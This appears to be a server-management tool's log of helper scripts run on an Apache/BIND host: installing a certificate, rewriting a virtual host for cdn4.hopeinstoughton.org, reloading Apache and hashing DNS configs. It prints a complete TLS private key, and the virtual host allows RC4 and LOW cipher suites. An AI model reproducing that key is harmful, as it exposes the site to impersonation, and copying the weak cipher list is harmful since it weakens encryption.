ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-20 10:29:21: 

chmod 755 /tmp/pkp221814; /tmp/pkp221814; rm /tmp/pkp221814

2025-12-20 10:29:21: 


dir=/etc/ssl/certs


2025-12-20 10:29:21: 

PUT: /tmp/pkp416797

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-20 10:29:22: 

chmod 755 /tmp/pkp416797; /tmp/pkp416797; rm /tmp/pkp416797

2025-12-20 10:29:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf 48

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-20 10:29:22: 

PUT: /tmp/pkp111359

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn4_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf= 1'
fi


2025-12-20 10:29:22: 

chmod 755 /tmp/pkp111359; /tmp/pkp111359; rm /tmp/pkp111359

2025-12-20 10:29:23: 




2025-12-20 10:29:23: 

PUT: /tmp/pkp270923

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-20 10:29:23: 

chmod 755 /tmp/pkp270923; /tmp/pkp270923; rm /tmp/pkp270923

2025-12-20 10:29:23: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-20 10:29:23: Establishing a connection
2025-12-20 10:29:24: 

PUT: /tmp/pkp578868

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-20 10:29:25: 

chmod 755 /tmp/pkp578868; /tmp/pkp578868; rm /tmp/pkp578868

2025-12-20 10:29:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-20 10:29:25: 

PUT: /tmp/pkp839923

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-20 10:29:26: 

chmod 755 /tmp/pkp839923; /tmp/pkp839923; rm /tmp/pkp839923

2025-12-20 10:29:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf	1172

<VirtualHost *:80>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        Require	all granted
        AllowOverride	All
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn4.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt
    DocumentRoot	/mnt/internal/CDN
    <Directory /mnt/internal/CDN>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn4_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn4_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-20 10:29:26: 

PUT: /tmp/pkp604008

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-20 10:29:27: 

chmod 755 /tmp/pkp604008; /tmp/pkp604008; rm /tmp/pkp604008

2025-12-20 10:29:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt	5382
dd:fd:e5:15:02:36:70:98:4f:59:9d:fa:fe:02:00:5a

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBmoTELi4Uuvx4tgklT/hbiqDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjIwMDkzMDQ2WhcNMjYwMzIwMDkzMDQ1WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCoomTk1riiyS7VdDVDUpT36g0Kt5dxRutggUvs3M/tiyVhl88o
2/rdr1UBTjWmkeV474W0xVGCevGoexsITbnxYRzfY4EV4Z2YInhWrT0s/0pkyczy
/7towuNTckcvM4V0hLKoeH8/c/NnJlqRkK99VOYbl+JfWo18YCOAp328DD/OAVaB
peHGFWmuP6RO8pkPYs6lCs1mqUEeS+zDgd6HuyrPbCQa1b/F+RKTtI9ikBNhcVdq
kx9GzfXsk9r9cIAEvfZQymZwVD3FO4j/IvSjN4ntVC/oydclOl+Vus0fflA/0T6c
Hf6BQny4sKTSCd5uSBlP0nAy4z4waM3IyCwdAgMBAAGjggIwMIICLDAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFHp/wMOqavXxz/lWmOz1BOkACTQ8MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuNC5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQw
IqAgoB6GHGh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNC5jcmwwggENBgorBgEEAdZ5
AgQCBIH+BIH7APkAdwDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAA
AZs7TnZ0AAAEAwBIMEYCIQC4SCwbPkCNSJZ+5cBxav5LlP2j3cK+25aZ6ItFyOUn
QwIhANI95kCB4zUkKmaTHGTJRFpoIC0Uwyrcs9WPCr/sN7NBAH4AGoudaUpXmMiZ
oMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGbO054KwAIAAAFACfTg38EAwBHMEUC
IDiwkNjMLBoxYvWo/ldBxGzrfI7TB1DZEH+OhYMU8l+zAiEA245s+9x9K0N1i/vZ
O9hgp92qxgliNwlVKS0q87lb7bQwDQYJKoZIhvcNAQELBQADggEBAM0xvIPqCAWi
AyrakqJLcFJJGB5x+3+PH9GnWYacT45TCTPnA/m8MnWgt0tn3Tl8QWUN/yGJ4PK0
S/UN0e3cH+QbUf8He0sru+LJDtL4PlS5UvcVMAARqxxb9p9GJyvq8UVE3b5Dlh4h
jPaivdFYLcemQDMs6Q5gsZ1+hoWsNbK0celEyasrvh+jkt4eg61l2xECkcny7inh
maHBORl8QrN8bMp4macqRKlCf010+e+KCxWU2fuDmSW2f5f7Y6XT0roi2e9qNO+E
eR6q5FfAdpBEni9WMXJ16tocT9Pkw42PhS6pRiCN+z6OE36DzOTyKvWUBrJnKw0D
LvYSth30uBs=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCoomTk1riiyS7V
dDVDUpT36g0Kt5dxRutggUvs3M/tiyVhl88o2/rdr1UBTjWmkeV474W0xVGCevGo
exsITbnxYRzfY4EV4Z2YInhWrT0s/0pkyczy/7towuNTckcvM4V0hLKoeH8/c/Nn
JlqRkK99VOYbl+JfWo18YCOAp328DD/OAVaBpeHGFWmuP6RO8pkPYs6lCs1mqUEe
S+zDgd6HuyrPbCQa1b/F+RKTtI9ikBNhcVdqkx9GzfXsk9r9cIAEvfZQymZwVD3F
O4j/IvSjN4ntVC/oydclOl+Vus0fflA/0T6cHf6BQny4sKTSCd5uSBlP0nAy4z4w
aM3IyCwdAgMBAAECggEBAJnGTF7o9sFq18xKBe/4NGPGCFKHjA/97dG41fWOfgVN
Z68Q8hV+U8sngUqJeR8F181qDfEEJgnn9sn+SG5QAol8VwnWAPZlIIKEnFvd6fVI
bxxtcPj9/nXPkeCcSxFd2AqinxBFoTPJlmGvddNbrsuJSbRL0l/FgVOzj2xYT63T
ukxvKStiZMxfGAWX0XGjFXyWphF4fUYX4ADAEjtIYtmWwqS1Vuwz2dpnrmIwoQqs
Fnk5jQLSjxp2ClajeVFP1FCpcTEkLboCyckSAJa9o0oatvR6+Fs6L8K0NJmWI2sc
+fbOC83gTx/SvJQlbde1YKs8lvQzWqr5mLkszX+p9/kCgYEA2k6FihG618apGwTu
RZLQJ4FhmiVtAQvSbHqX6JUVwYJAqdqvs54+ah/HZWdtvTxGJ+ZQ+rDen8xwxaey
ufDpVio1UNhucjobLZ9ENPoIjfkVY405/J7jnFndaJiI+AufrOyP0YJIa8EFuI2Y
WLqMmJHdKXchmRxkv2KQQpBtqacCgYEAxcBH0FU9yjyK82zTIE6kWFEZXLIirsco
z5UCikedvBUSnY5Uvf9GEJQRTkX5aO/1Y8lCnzTI9QAEkJanvtI/iKPtPpL9Nnzd
5i141U5errMe2NGlM5RAtHJMJm+MTISNzP0wMddTYUhdM07wxrguaLxlccZl8xWe
ftxaNRCwbJsCgYA+QrS9Ou9ByOvDw/U8rHFnQvQWJWRgLwH1ZEVc1OAej0pn5vHD
VXdRhvy0Q/o9RSpxCLPBu53Sj1j+ViSX+UhjBaitBP0C4OWNbmXiggjcjNR3zvhh
vuMFXW/S++XccFw60kD2LKUA7kz2ZJO1gobEoJ0lzU8svrdRCghAo7ZS8wKBgCAG
0hqlk4pLX92oxFC5K9i52bevifpweuWTpoOqsZsido9Z29OhokFRGbRplMkwA7gT
glyyedFkHVklbSl0d6GzmtrFh4jplC6RMr6pIKB+lgJbgbvmyMvwrvCSpFBIL4cB
gmqwCur4g0+p+0jTz4Ba8rsIfL5vw+mb2mg5ubj9AoGAAMHygdC3+Uli5wzQf6YO
KFi1XbO1SltqAD7R961gUvbxtIAbzcPrEsqsUvLWnNCUHZ/rzBwDCPfO+2//gQnt
r8z5soNSj4b+nCYWqP3xMyaZcH/+EfdW48iyZdMZdzAGUwKFAtMzhNPSQ5U4ihMd
XbDJORI9d+fSIpw4ipC5+PQ=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-12-21 06:00:01: Establishing a connection
2025-12-21 06:00:03: Establishing a connection
2025-12-21 06:00:04: 

PUT: /tmp/pkp190726

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-21 06:00:05: 

chmod 755 /tmp/pkp190726; /tmp/pkp190726; rm /tmp/pkp190726

2025-12-21 06:00:05: 


0


2025-12-22 06:00:03: Establishing a connection
2025-12-22 06:00:04: Establishing a connection
2025-12-22 06:00:05: 

PUT: /tmp/pkp404542

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-22 06:00:06: 

chmod 755 /tmp/pkp404542; /tmp/pkp404542; rm /tmp/pkp404542

2025-12-22 06:00:06: 


0


2025-12-22 11:56:56: Establishing a connection
2025-12-22 11:57:30: Establishing a connection
2025-12-22 11:57:30: 

PUT: /tmp/pkp188465

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-22 11:57:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp188465; rm /tmp/pkp188465'

2025-12-22 11:57:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
